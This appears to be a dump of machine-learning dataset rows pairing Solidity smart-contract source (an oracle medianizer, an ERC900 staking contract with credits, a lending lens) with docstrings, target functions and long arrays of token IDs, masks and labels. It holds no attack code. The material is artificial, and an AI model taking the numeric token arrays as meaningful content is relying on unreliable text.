* @param checkpoint The new checkpoint to initialize the medianizer with.
*/
function _initializeMedianizer(address token, Checkpoint memory checkpoint) internal {
address payable exchange = uniswap.getExchange(token);
require(exchange != address(0), "Polaris::_initializeMedianizer: Token must exist on Uniswap");
OracleToken oracleToken = new OracleToken(token);
oracleTokens[token] = oracleToken;
// Reward additional oracle tokens for the first poke to compensate for extra gas costs
oracleToken.mint(msg.sender, CHECKPOINT_REWARD.mul(10));
Medianizer storage medianizer = medianizers[token];
medianizer.pending.push(checkpoint);
medianizer.median = checkpoint;
medianizer.latestTimestamp = block.timestamp;
medianizer.pendingStartTimestamp = block.timestamp;
// Hydrate prices queue
for (uint i = 0; i < MAX_CHECKPOINTS; i++) {
medianizer.prices.push(checkpoint);
}
}
/**
* @dev Find the median given an array of checkpoints.
* @param checkpoints The array of checkpoints to find the median.
* @return The median checkpoint within the given array.
*/
function _medianize(Checkpoint[] memory checkpoints) internal pure returns (Checkpoint memory) {
// To minimize complexity, return the higher of the two middle checkpoints in even-sized arrays instead of the average.
uint k = checkpoints.length.div(2);
uint left = 0;
uint right = checkpoints.length.sub(1);
while (left < right) {
uint pivotIndex = left.add(right).div(2);
Checkpoint memory pivotCheckpoint = checkpoints[pivotIndex];
(checkpoints[pivotIndex], checkpoints[right]) = (checkpoints[right], checkpoints[pivotIndex]);
uint storeIndex = left;
for (uint i = left; i < right; i++) {
if (_isLessThan(checkpoints[i], pivotCheckpoint)) {
(checkpoints[storeIndex], checkpoints[i]) = (checkpoints[i], checkpoints[storeIndex]);
storeIndex++;
}
}
(checkpoints[storeIndex], checkpoints[right]) = (checkpoints[right], checkpoints[storeIndex]);
if (storeIndex < k) {
left = storeIndex.add(1);
} else {
right = storeIndex;
}
}
return checkpoints[k];
}
/**
* @dev Determine if checkpoint x is less than checkpoint y.
* @param x The first checkpoint for comparison.
* @param y The second checkpoint for comparison.
* @return True if x is less than y.
*/
function _isLessThan(Checkpoint memory x, Checkpoint memory y) internal pure returns (bool) {
return x.ethReserve.mul(y.tokenReserve) < y.ethReserve.mul(x.tokenReserve);
}
/**
* @dev Check if msg.sender is an externally owned account.
* @return True if msg.sender is an externally owned account, false if smart contract.
*/
function _isHuman() internal view returns (bool) {
return msg.sender == tx.origin;
}
/**
* @dev Get the reserve values of a Uniswap exchange for a given token.
* @param token The token to query the reserve values for.
* @return A checkpoint holding the appropriate reserve values.
*/
function _newCheckpoint(address token) internal view returns (Checkpoint memory) {
address payable exchange = uniswap.getExchange(token);
return Checkpoint({
ethReserve: exchange.balance,
tokenReserve: IERC20(token).balanceOf(exchange)
});
}
/**
* @dev Get subscriber status of a given account for a given token.
* @param account The account to query.
* @return True if subscribed.
*/
function _isSubscriber(Account storage account) internal view returns (bool) {
// Strict inequality to return false for users who never subscribed and owe zero.
return account.balance > _getOwedAmount(account);
}
/**
* @dev Get amount owed by an account. Accrued amount minus collections.
* @param account The account to query.
* @return Amount owed.
*/
function _getOwedAmount(Account storage account) internal view returns (uint) {
if (account.collectionTimestamp == 0) return 0;
uint timeElapsed = block.timestamp.sub(account.collectionTimestamp);
return MONTHLY_SUBSCRIPTION_FEE.mul(timeElapsed).div(ONE_MONTH_IN_SECONDS);
}
/**
* @dev Determine whether a given checkpoint would be rewarded with newly minted oracle tokens.
* @param token The address of the token to query checkpoint for.
* @param checkpoint The checkpoint to test for reward of oracle tokens.
* @return True if given checkpoint satisfies any of the following:
* Less than required checkpoints exist to calculate a valid median
* Exceeds max time since last checkpoint
* Exceeds minimum price change from median AND no pending checkpoints
* Exceeds minimum percent change from pending checkpoints median
* Exceeds minimum percent change from last checkpoint
*/
function _willRewardCheckpoint(address token, Checkpoint memory checkpoint) internal view returns (bool) {
Medianizer memory medianizer = medianizers[token];
return (
medianizer.prices.length < MAX_CHECKPOINTS ||
block.timestamp.sub(medianizer.latestTimestamp) >= MAX_TIME_SINCE_LAST_CHECKPOINT ||
(block.timestamp.sub(medianizer.pendingStartTimestamp) >= PENDING_PERIOD && _percentChange(medianizer.median, checkpoint) >= MIN_PRICE_CHANGE) ||
_percentChange(medianizer.prices[medianizer.tail], checkpoint) >= MIN_PRICE_CHANGE ||
_percentChange(medianizer.pending[medianizer.pending.length.sub(1)], checkpoint) >= MIN_PRICE_CHANGE
);
}
/**
* @dev Get the percent change between two checkpoints.
* @param x The first checkpoint.
* @param y The second checkpoint.
* @return The absolute value of the percent change, with 18 decimals of precision (e.g., .01e18 = 1%).
*/
function _percentChange(Checkpoint memory x, Checkpoint memory y) internal pure returns (uint) {
uint a = x.ethReserve.mul(y.tokenReserve);
uint b = y.ethReserve.mul(x.tokenReserve);
uint diff = a > b ? a.sub(b) : b.sub(a);
return diff.mul(10 ** 18).div(a);
}
} | * @dev Get the owed amount for a given subscriber of a token feed. @param token The token to query the owed amount of the given subscriber. @param who The subscriber to query the owed amount for the given token feed. @return The owed amount of the subscriber of the given token feed./ | function getOwedAmount(address token, address who) public view returns (uint) {
Account storage account = accounts[token][who];
return _getOwedAmount(account);
}
| 12,769,246 | [
1,
967,
326,
2523,
329,
3844,
364,
279,
864,
9467,
434,
279,
1147,
4746,
18,
225,
1147,
1021,
1147,
358,
843,
326,
2523,
329,
3844,
434,
326,
864,
9467,
18,
225,
10354,
1021,
9467,
358,
843,
326,
2523,
329,
3844,
364,
326,
864,
1147,
4746,
18,
327,
1021,
2523,
329,
3844,
434,
326,
9467,
434,
326,
864,
1147,
4746,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
3494,
329,
6275,
12,
2867,
1147,
16,
1758,
10354,
13,
1071,
1476,
1135,
261,
11890,
13,
288,
203,
3639,
6590,
2502,
2236,
273,
9484,
63,
2316,
6362,
3350,
83,
15533,
203,
3639,
327,
389,
588,
3494,
329,
6275,
12,
4631,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
// File: contracts/ERC900/ERC900.sol
/**
* @title ERC900 Simple Staking Interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-900.md
*/
contract ERC900 {
event Staked(address indexed user, uint256 amount, uint256 total, bytes data);
event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data);
function stake(uint256 amount, bytes data) public;
function stakeFor(address user, uint256 amount, bytes data) public;
function unstake(uint256 amount, bytes data) public;
function totalStakedFor(address addr) public view returns (uint256);
function totalStaked() public view returns (uint256);
function token() public view returns (address);
function supportsHistory() public pure returns (bool);
// NOTE: Not implementing the optional functions
// function lastStakedFor(address addr) public view returns (uint256);
// function totalStakedForAt(address addr, uint256 blockNumber) public view returns (uint256);
// function totalStakedAt(uint256 blockNumber) public view returns (uint256);
}
// File: contracts/CodexStakeContractInterface.sol
contract CodexStakeContractInterface is ERC900 {
function stakeForDuration(
address user,
uint256 amount,
uint256 lockInDuration,
bytes data)
public;
function spendCredits(
address user,
uint256 amount)
public;
function creditBalanceOf(
address user)
public
view
returns (uint256);
}
// File: contracts/library/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/library/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/ERC900/ERC900BasicStakeContract.sol
/* solium-disable security/no-block-members */
pragma solidity 0.4.24;
/**
* @title ERC900 Simple Staking Interface basic implementation
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-900.md
*/
contract ERC900BasicStakeContract is ERC900 {
// @TODO: deploy this separately so we don't have to deploy it multiple times for each contract
using SafeMath for uint256;
// Token used for staking
ERC20 stakingToken;
// The default duration of stake lock-in (in seconds)
uint256 public defaultLockInDuration;
// To save on gas, rather than create a separate mapping for totalStakedFor & personalStakes,
// both data structures are stored in a single mapping for a given addresses.
//
// It's possible to have a non-existing personalStakes, but have tokens in totalStakedFor
// if other users are staking on behalf of a given address.
mapping (address => StakeContract) public stakeHolders;
// Struct for personal stakes (i.e., stakes made by this address)
// unlockedTimestamp - when the stake unlocks (in seconds since Unix epoch)
// actualAmount - the amount of tokens in the stake
// stakedFor - the address the stake was staked for
struct Stake {
uint256 unlockedTimestamp;
uint256 actualAmount;
address stakedFor;
}
// Struct for all stake metadata at a particular address
// totalStakedFor - the number of tokens staked for this address
// personalStakeIndex - the index in the personalStakes array.
// personalStakes - append only array of stakes made by this address
// exists - whether or not there are stakes that involve this address
struct StakeContract {
uint256 totalStakedFor;
uint256 personalStakeIndex;
Stake[] personalStakes;
bool exists;
}
/**
* @dev Modifier that checks that this contract can transfer tokens from the
* balance in the stakingToken contract for the given address.
* @dev This modifier also transfers the tokens.
* @param _address address to transfer tokens from
* @param _amount uint256 the number of tokens
*/
modifier canStake(address _address, uint256 _amount) {
require(
stakingToken.transferFrom(_address, this, _amount),
"Stake required");
_;
}
/**
* @dev Constructor function
* @param _stakingToken ERC20 The address of the token contract used for staking
*/
constructor(ERC20 _stakingToken) public {
stakingToken = _stakingToken;
}
/**
* @dev Returns the timestamps for when active personal stakes for an address will unlock
* @dev These accessors functions are needed until https://github.com/ethereum/web3.js/issues/1241 is solved
* @param _address address that created the stakes
* @return uint256[] array of timestamps
*/
function getPersonalStakeUnlockedTimestamps(address _address) external view returns (uint256[]) {
uint256[] memory timestamps;
(timestamps,,) = getPersonalStakes(_address);
return timestamps;
}
/**
* @dev Returns the stake actualAmount for active personal stakes for an address
* @dev These accessors functions are needed until https://github.com/ethereum/web3.js/issues/1241 is solved
* @param _address address that created the stakes
* @return uint256[] array of actualAmounts
*/
function getPersonalStakeActualAmounts(address _address) external view returns (uint256[]) {
uint256[] memory actualAmounts;
(,actualAmounts,) = getPersonalStakes(_address);
return actualAmounts;
}
/**
* @dev Returns the addresses that each personal stake was created for by an address
* @dev These accessors functions are needed until https://github.com/ethereum/web3.js/issues/1241 is solved
* @param _address address that created the stakes
* @return address[] array of amounts
*/
function getPersonalStakeForAddresses(address _address) external view returns (address[]) {
address[] memory stakedFor;
(,,stakedFor) = getPersonalStakes(_address);
return stakedFor;
}
/**
* @notice Stakes a certain amount of tokens, this MUST transfer the given amount from the user
* @notice MUST trigger Staked event
* @param _amount uint256 the amount of tokens to stake
* @param _data bytes optional data to include in the Stake event
*/
function stake(uint256 _amount, bytes _data) public {
createStake(
msg.sender,
_amount,
defaultLockInDuration,
_data);
}
/**
* @notice Stakes a certain amount of tokens, this MUST transfer the given amount from the caller
* @notice MUST trigger Staked event
* @param _user address the address the tokens are staked for
* @param _amount uint256 the amount of tokens to stake
* @param _data bytes optional data to include in the Stake event
*/
function stakeFor(address _user, uint256 _amount, bytes _data) public {
createStake(
_user,
_amount,
defaultLockInDuration,
_data);
}
/**
* @notice Unstakes a certain amount of tokens, this SHOULD return the given amount of tokens to the user, if unstaking is currently not possible the function MUST revert
* @notice MUST trigger Unstaked event
* @dev Unstaking tokens is an atomic operation—either all of the tokens in a stake, or none of the tokens.
* @dev Users can only unstake a single stake at a time, it is must be their oldest active stake. Upon releasing that stake, the tokens will be
* transferred back to their account, and their personalStakeIndex will increment to the next active stake.
* @param _amount uint256 the amount of tokens to unstake
* @param _data bytes optional data to include in the Unstake event
*/
function unstake(uint256 _amount, bytes _data) public {
withdrawStake(
_amount,
_data);
}
/**
* @notice Returns the current total of tokens staked for an address
* @param _address address The address to query
* @return uint256 The number of tokens staked for the given address
*/
function totalStakedFor(address _address) public view returns (uint256) {
return stakeHolders[_address].totalStakedFor;
}
/**
* @notice Returns the current total of tokens staked
* @return uint256 The number of tokens staked in the contract
*/
function totalStaked() public view returns (uint256) {
return stakingToken.balanceOf(this);
}
/**
* @notice Address of the token being used by the staking interface
* @return address The address of the ERC20 token used for staking
*/
function token() public view returns (address) {
return stakingToken;
}
/**
* @notice MUST return true if the optional history functions are implemented, otherwise false
* @dev Since we don't implement the optional interface, this always returns false
* @return bool Whether or not the optional history functions are implemented
*/
function supportsHistory() public pure returns (bool) {
return false;
}
/**
* @dev Helper function to get specific properties of all of the personal stakes created by an address
* @param _address address The address to query
* @return (uint256[], uint256[], address[])
* timestamps array, actualAmounts array, stakedFor array
*/
function getPersonalStakes(
address _address
)
view
public
returns(uint256[], uint256[], address[])
{
StakeContract storage stakeContract = stakeHolders[_address];
uint256 arraySize = stakeContract.personalStakes.length - stakeContract.personalStakeIndex;
uint256[] memory unlockedTimestamps = new uint256[](arraySize);
uint256[] memory actualAmounts = new uint256[](arraySize);
address[] memory stakedFor = new address[](arraySize);
for (uint256 i = stakeContract.personalStakeIndex; i < stakeContract.personalStakes.length; i++) {
uint256 index = i - stakeContract.personalStakeIndex;
unlockedTimestamps[index] = stakeContract.personalStakes[i].unlockedTimestamp;
actualAmounts[index] = stakeContract.personalStakes[i].actualAmount;
stakedFor[index] = stakeContract.personalStakes[i].stakedFor;
}
return (
unlockedTimestamps,
actualAmounts,
stakedFor
);
}
/**
* @dev Helper function to create stakes for a given address
* @param _address address The address the stake is being created for
* @param _amount uint256 The number of tokens being staked
* @param _lockInDuration uint256 The duration to lock the tokens for
* @param _data bytes optional data to include in the Stake event
*/
function createStake(
address _address,
uint256 _amount,
uint256 _lockInDuration,
bytes _data
)
internal
canStake(msg.sender, _amount)
{
if (!stakeHolders[msg.sender].exists) {
stakeHolders[msg.sender].exists = true;
}
stakeHolders[_address].totalStakedFor = stakeHolders[_address].totalStakedFor.add(_amount);
stakeHolders[msg.sender].personalStakes.push(
Stake(
block.timestamp.add(_lockInDuration),
_amount,
_address)
);
emit Staked(
_address,
_amount,
totalStakedFor(_address),
_data);
}
/**
* @dev Helper function to withdraw stakes for the msg.sender
* @param _amount uint256 The amount to withdraw. MUST match the stake amount for the
* stake at personalStakeIndex.
* @param _data bytes optional data to include in the Unstake event
*/
function withdrawStake(
uint256 _amount,
bytes _data
)
internal
{
Stake storage personalStake = stakeHolders[msg.sender].personalStakes[stakeHolders[msg.sender].personalStakeIndex];
// Check that the current stake has unlocked & matches the unstake amount
require(
personalStake.unlockedTimestamp <= block.timestamp,
"The current stake hasn't unlocked yet");
require(
personalStake.actualAmount == _amount,
"The unstake amount does not match the current stake");
// Transfer the staked tokens from this contract back to the sender
// Notice that we are using transfer instead of transferFrom here, so
// no approval is needed beforehand.
require(
stakingToken.transfer(msg.sender, _amount),
"Unable to withdraw stake");
stakeHolders[personalStake.stakedFor].totalStakedFor = stakeHolders[personalStake.stakedFor]
.totalStakedFor.sub(personalStake.actualAmount);
personalStake.actualAmount = 0;
stakeHolders[msg.sender].personalStakeIndex++;
emit Unstaked(
personalStake.stakedFor,
_amount,
totalStakedFor(personalStake.stakedFor),
_data);
}
}
// File: contracts/ERC900/ERC900CreditsStakeContract.sol
/**
* @title ERC900 Credits-based staking implementation
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-900.md
*
* Notice that credits aren't lost when tokens are unstaked--only when credits are spent.
* This means that after the initial lock in duration expires, a user can re-stake those tokens
* for more credits.
* Another important note: spendCredits can only be called by the contract's owner. This
* is meant to be another smart contract. For example, the smart contract can offer call
* spendCredits to reduce a user's credit balance in place of spending real tokens.
*/
contract ERC900CreditsStakeContract is ERC900BasicStakeContract, Ownable {
// NOTE: Credits do not have decimal places
// Users cannot own fractional credits
mapping (address => uint256) public creditBalances;
/**
* @dev Returns the balance of credits at a user's address.
* @param _user address The address to check.
* @return uint256 The credit balance.
*/
function creditBalanceOf(
address _user
)
public
view
returns (uint256)
{
return creditBalances[_user];
}
/**
* @dev Spends credits for a user. Only callable by the owner. Reverts if the
* user doesn't have enough credits.
* @param _user address The address that owns the credits being spent.
* @param _amount uint256 The number of credits to spend.
*/
function spendCredits(
address _user,
uint256 _amount
)
public
onlyOwner
{
require(
creditBalances[_user] >= _amount,
"Insufficient balance");
creditBalances[_user] = creditBalances[_user].sub(_amount);
}
/**
* @dev Stakes tokens for the caller and rewards them with credits. Reverts
* if less than 1 token is being staked.
* @param _amount uint256 The number of tokens to stake
* @param _data bytes optional data to include in the Stake event
*/
function stake(
uint256 _amount,
bytes _data
)
public
{
super.stake(
_amount,
_data);
updateCreditBalance(
msg.sender,
_amount,
defaultLockInDuration);
}
/**
* Stakes tokens from the caller for a particular user, and rewards that user with credits.
* Reverts if less than 1 token is being staked.
* @param _user address The address the tokens are staked for
* @param _amount uint256 The number of tokens to stake
* @param _data bytes optional data to include in the Stake event
*/
function stakeFor(
address _user,
uint256 _amount,
bytes _data
)
public
{
super.stakeFor(
_user,
_amount,
_data);
updateCreditBalance(
_user,
_amount,
defaultLockInDuration);
}
/**
* @dev Stakes tokens from the caller for a given user & duration, and rewards that user with credits.
* Reverts if less than 1 token is being staked, or if the duration specified is less than the default.
* @param _user address The address the tokens are staked for
* @param _amount uint256 The number of tokens to stake
* @param _lockInDuration uint256 The duration (in seconds) that the stake should be locked for
* @param _data bytes optional data to be included in the Stake event
*/
function stakeForDuration(
address _user,
uint256 _amount,
uint256 _lockInDuration,
bytes _data
)
public
{
require(
_lockInDuration >= defaultLockInDuration,
"Insufficient stake duration");
super.createStake(
_user,
_amount,
_lockInDuration,
_data);
updateCreditBalance(
_user,
_amount,
_lockInDuration);
}
/**
* @dev Internal function to update the credit balance of a user when staking tokens.
* Users are rewarded with more tokens the longer they stake for.
* @param _user address The address to award credits to
* @param _amount uint256 The number of tokens being staked
* @param _lockInDuration uint256 The duration (in seconds) that the stake should be locked for
*/
function updateCreditBalance(
address _user,
uint256 _amount,
uint256 _lockInDuration
)
internal
{
uint256 divisor = 1 ether;
require(
_amount >= divisor,
"Insufficient amount");
// NOTE: Truncation is intentional here
// If a user stakes for less than the minimum duration, they are awarded with 0 credits
// If they stake 2x the minimum duration, they are awarded with 2x credits
// etc.
uint256 rewardMultiplier = _lockInDuration / defaultLockInDuration;
uint256 creditsAwarded = _amount.mul(rewardMultiplier).div(divisor);
creditBalances[_user] = creditBalances[_user].add(creditsAwarded);
}
}
// File: contracts/CodexStakeContract.sol
/**
* @title CodexStakeContract
*/
contract CodexStakeContract is CodexStakeContractInterface, ERC900CreditsStakeContract {
/**
* @dev Constructor function
* @param _stakingToken ERC20 The address of the token used for staking
* @param _defaultLockInDuration uint256 The duration (in seconds) that stakes are required to be locked for
*/
constructor(
ERC20 _stakingToken,
uint256 _defaultLockInDuration
)
public
ERC900BasicStakeContract(_stakingToken)
{
defaultLockInDuration = _defaultLockInDuration;
}
/**
* @dev Sets the lockInDuration for stakes. Only callable by the owner
* @param _defaultLockInDuration uint256 The duration (in seconds) that stakes are required to be locked for
*/
function setDefaultLockInDuration(
uint256 _defaultLockInDuration
)
external
onlyOwner
{
defaultLockInDuration = _defaultLockInDuration;
}
} | * @dev Stakes tokens for the caller and rewards them with credits. Reverts if less than 1 token is being staked. @param _amount uint256 The number of tokens to stake @param _data bytes optional data to include in the Stake event/ | function stake(
uint256 _amount,
bytes _data
)
public
{
super.stake(
_amount,
_data);
updateCreditBalance(
msg.sender,
_amount,
defaultLockInDuration);
}
| 5,438,673 | [
1,
510,
3223,
2430,
364,
326,
4894,
471,
283,
6397,
2182,
598,
6197,
1282,
18,
868,
31537,
225,
309,
5242,
2353,
404,
1147,
353,
3832,
384,
9477,
18,
225,
389,
8949,
2254,
5034,
1021,
1300,
434,
2430,
358,
384,
911,
225,
389,
892,
1731,
3129,
501,
358,
2341,
316,
326,
934,
911,
871,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
384,
911,
12,
203,
565,
2254,
5034,
389,
8949,
16,
203,
565,
1731,
389,
892,
203,
225,
262,
203,
565,
1071,
203,
225,
288,
203,
565,
2240,
18,
334,
911,
12,
203,
1377,
389,
8949,
16,
203,
1377,
389,
892,
1769,
203,
203,
565,
1089,
16520,
13937,
12,
203,
1377,
1234,
18,
15330,
16,
203,
1377,
389,
8949,
16,
203,
1377,
805,
2531,
382,
5326,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
import "../GXrc20.sol";
import "../Gtroller.sol";
import "../GToken.sol";
import "../PriceOracle/PriceOracle.sol";
import "../EIP20Interface.sol";
import "../Exponential.sol";
import "./IRewardLens.sol";
interface JJLPInterface {
function claimG(address) external returns (uint256);
}
interface JGTokenInterface {
function claimG(address) external returns (uint256);
}
/**
* @notice This is a version of JoeLens that contains write transactions.
* @dev Call these functions as dry-run transactions for the frontend.
*/
contract JoeLens is Exponential {
string public nativeSymbol;
address private rewardLensAddress;
constructor(string memory _nativeSymbol, address _rewardLensAddress) public {
nativeSymbol = _nativeSymbol;
rewardLensAddress = _rewardLensAddress;
}
/*** Market info functions ***/
struct GTokenMetadata {
address gToken;
uint256 exchangeRateCurrent;
uint256 supplyRatePerSecond;
uint256 borrowRatePerSecond;
uint256 reserveFactorMantissa;
uint256 totalBorrows;
uint256 totalReserves;
uint256 totalSupply;
uint256 totalCash;
uint256 totalCollateralTokens;
bool isListed;
uint256 collateralFactorMantissa;
address underlyingAssetAddress;
uint256 gTokenDecimals;
uint256 underlyingDecimals;
GtrollerV1Storage.Version version;
uint256 collateralCap;
uint256 underlyingPrice;
bool supplyPaused;
